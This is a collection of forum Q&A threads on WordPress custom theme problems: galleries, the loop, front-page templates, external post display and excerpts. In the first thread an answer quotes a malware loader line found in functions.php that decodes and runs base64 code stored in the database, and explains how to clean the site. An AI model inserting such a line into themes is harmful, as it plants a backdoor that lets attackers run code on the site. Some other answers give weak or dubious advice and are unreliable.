Default Wordpress [gallery] not showing up in custom theme - php

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.
Here is the loop for page:
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).
And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)

You're site got hacked.
The last line of the pastebin is loading malicious code from your database:
add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)
You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.
AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).

try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,
https://wordpress.org/plugins/nextgen-gallery/

do you see any javascript errors in console ?
and what is output of
<?php echo do_shortcode('[gallery]');?>

Related

Front Page Display (Your latest posts) Blank, other pages fine

I am new to PHP and WordPress and I want to develop my theme from scratch.
From the reading settings on WordPress Dashboard I have set for the Front page displays option to 'Your latest posts', but the homepage is blank with no header or footer, although every other page works just fine.
Here is my code for index.php:
<?php get_header(); ?>
<?php
if(have_posts()):
while(have_posts()): the_post(); ?>
<h3><?php the_title(); ?></h3>
<small>Posted on: <?php the_time('F j, Y'); ?> at <?php the_time('g:i a'); ?>, in <?php the_category(); ?></small>
<p><?php the_content(); ?></p>
<hr>
<?php endwhile;
endif;
?>
<?php get_footer(); ?>
Can anyone explain why this is happening?
Thank you.
You may be loading another template which is a blank fil. WordPress has a hierarchy of templates set out in https://developer.wordpress.org/themes/basics/template-hierarchy/#front-page-display.
For your situation the hierarchy is front-page.php, home.php, index.php, so check those first two.
Can you test to register again the permalinks ? You go i nthe dashboard on settings menu > permalinks and you click save.
Sometimes Wordpress need to register again permalinks te reset htaccess when you developp some action ( like create custom post type or others )

Wordpress functions not working in custom theme

So I'm super new to Wordpress. I set up a Wordpress local server on MAMP yesterday and I'm trying to build my own theme currently. Trouble is, whenever I try to do the loop, I'm not getting any content. my code works if I just use php, but the problem is custom Wordpress functions aren't usable (i.e. have_posts())
A couple other posts have suggested requiring wp-blog-header, but that hasn't worked either. Here's my code:
<?php
define('WP_USE_THEMES', false);
require('../../../wp-blog-header.php');
if(have_posts()) :
echo 'testing'
else :
echo 'testing'
endif;
?>
Nothing currently displays on my screen.
wp-blog-header.php is located here: wordpress -> wp-blog-header.php
My custom theme is located here: wordpress -> wp-content -> themes -> firstTheme -> index.php
All tips are appreciated.
Well, you're writing PHP and your code contains
if(have_posts()) :
echo 'testing'
else :
echo 'testing'
endif;
I'm not sure how can this be valid in PHP. I'd expect
if(have_posts())
echo 'testing';
else
echo 'testing';
See also if and else syntax in PHP.
I found this issue as well in building a few wordpress sites. After installing a PhP plugin (Insert PhP) my problems were solved.
Once installed, was changed to [insert_php] and [/insert_php] and my code worked.
You need to use the proper WordPress functions to build your own custom theme.
For example, instead of require and then x-path deep (which is also not wanted from WP-Core perspective) you should put your file in your theme's root.
like :
`get_template_part('name-of-file-to-include-without-php-ending');`
Reason for this is the fact, that WordPress Codex proposes the use of child theme functions.
The get_template_part(''); function does some checks, e.g. if a child theme has been installed etc.
Question: Why do you define that constant?
All constants should reside inside wp-config (root folder).
Additionally, it is worth mentioning that you are not looping throught the posts. Your code, at this point in time of writing, only looks IF there are posts, and then does nothing. You need to add the while function as well in order to work through your posts and display them.
So, do (in your loop.php or at the place in your theme where you want to display them):
<?php if(have_posts() ) : ?>
// The while added
<?php while ( have_posts() ) : the_post(); ?>
// Your template tags here: e.g. the_author();
<h2><?php the_author(); ?></h2>
<h3>the_title();</h3>
etc...
<?php endwhile?>
<?php endif; ?>
One last thing: WordPress has some conventions, which files should reside in the theme folder. For example, every theme should have a functions.php where you put stuff like menu and widgets etc. inside.
The most popular tags to build a theme are:
get_header();
Sure, you need to have a header.php file in your theme. Again, WordPress will look for exactly these files to include, no other naming is allowed.
get_footer();
Make a guess, right - it will look for footer.php in your theme folder.
For more information please see the WordPress Codex > Template Parts, etc..
https://codex.wordpress.org/Theme_Development#Template_Files
I highly advice you to use the WordPress core functions for templates, ignoring them and do 'classic' php e.g. include/require will lead you the dark side and not be successful.
A good plugin in the see your which template parts you are using is "What the File". Grab a default theme, install that plugin and look in the admin bar what it says to get an idea of what WordPress is doing.
Here is an excerpt of my loop, in my theme which uses bootstrap.
<?php if(have_posts() ) : ?>
<?php while ( have_posts() ) : the_post(); ?>
<?php if(is_front_page() || is_page() || is_single() ) : ?>
<div class="row row-content">
<div class="content col-xs-12 col-sm-12 col-md-12 col-lg-12">
<?php the_content(); ?>
</div>
</div>
<?php // category.php, archive.php, search.php ?>
<?php elseif(is_category() || is_archive() || is_search() ) : ?>
<div class="row row-excerpt">
<div class="thumbnail-box col-lg-4">
<a href="<?php the_permalink(); ?>" class="preview-image-link">
<?php
// Thumbnail und Post Auszug
if(has_post_thumbnail() ) {
the_post_thumbnail('thumbnail');
}
?>
</a>
</div>
<div class="text-details-box col-lg-8">
<div class="row row-excerpt-text">
<div class="excerpt col-lg-12">
<?php the_excerpt(); ?>
</div>
</div>
<div class="row row-tags row-read-more">
<div class="tags col-lg-8">
<?php the_tags('<ul class="tag-list">
</div>
<div class="read-more-boxcol-md-4 col-lg-4">
<a href="<?php the_permalink(); ?>" class="read-more-btn">
<span class="read-more-btn-text">></span>
</a>
</div>
</div>
</div>
</div>
<?php endwhile; ?>
<?php endif; ?>

Display WordPress posts on external webpage

I am running WordPress functions on an external webpage to get posts and pages. The functions work fine.
I am using
the_content();
to display the body of the posts but it doesn't seem to be keeping the correct formatting. The HTML is displaying fine, but the line breaks etc are not.
Here is the full PHP code i am using:
$page = get_page_by_id($_GET["p"], OBJECT, 'post');
query_posts('p='.$page->ID.'');
if($page->ID) {
while (have_posts()) {
the_post(); ?>
<h2><?php the_title(); ?></h2><br>
Posted on <?php the_date(); ?><br><br>
<?php
the_content();
}
}
Screenshot of my site: http://postimg.org/image/nc2xw6af3/
Screenshot of the Wordpress Template: http://postimg.org/image/r01znya1p/
Looks like the required CSS information is missing. You need to include the CSS for <h2> and <p> tags from the WordPress template.

Show readmore in wordpress post

In wordpress Twenty Eleven theme how to show read more after one post without writing any <!--read more--> in post page
Go wordpress admin panel and click reading under reading, choose summary instead of full text. That will help you.
Dashboard --> Settings --> Reading and click on "Summary" instead of "Full text"
EDIT:
The above settings for feeds. for showing in the home page, While you adding post put your cursor where you want to add "more" tag and then click Alt+Shift+T or click the button left to spell checker it will insert a more tag on your posts. I think this might work..
use the_excerpt() function in your post and add filter excerpt_more and add readmore.. link.
here this blog uses same function which is develop by me [Latest smartphone apps][1]
[1]: http://latestsmartphoneapps.com here on index page all post summery is given and readmore.. link is given which then display full post.
If you want such functionality let me know.
Use this code for Excerpt.
<?php query_posts('cat=ID'.'&showposts=NO. OF POST') ?>
<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<h3><?php the_title(); ?></h3>
<?php the_post_thumbnail(); ?>
<p><?php echo substr(get_the_excerpt(), 0,65).' [...]'; ?></p>
Read More...
<?php endwhile; ?>
<?php wp_reset_query(); ?>
<?php endif;?>
The a look at the_excerpt

Getting recent blog posts from wordpress

I have installed wordpress on my site located at www.example.com/blog. on www.example.com I'd like to retrieve the top 5 latest blog posts and display date, url and blog title. Is this possible?
This means I want to get the blog posts from outside the wordpress installation using php and do a loop.
<?php
$loop = new WP_Query('showposts=5&orderby=ID&order=DESC');
if($loop->have_posts()): while($loop->have_posts()): $loop->the_post();
?>
<div class="post" id="post-<?php the_ID(); ?>">
<?php the_title(); ?>
<span class="post-meta">
<?php the_time('F jS, Y'); ?> by <?php the_author_posts_link(); ?>
</span>
</div>
<?php endwhile; else: ?>
No recent posts yet!
<?php endif; ?>
See: WordPress Loop, query_posts(), WP_Query(). There are also plugins to get recent posts.
Yes you can use the RSS feed of your blog. Its a standard wordpress feature. Use a javascript (or some server side) rss client to fetch the top 5 entries from RSS feed and show it on your homepage.One such script is http://p3k.org/rss/
Use WP_Query like sugested by Sepehr and after you include wp-blog-header.php add this:
header("HTTP/1.1 200 OK");
This overrides WP's security check.
Yes you can.
in wordpress you must use blog in blog plugin. if it's use you set tempalte form your design and put the shortcode like "[blog_in_blog category_slug='my-category-slug' num=5]" in your cms page or php file and you display first 5 post with date any where in your site. you must create categories and put in short code.
blog in blog :- http://wordpress.org/plugins/blog-in-blog/

Categories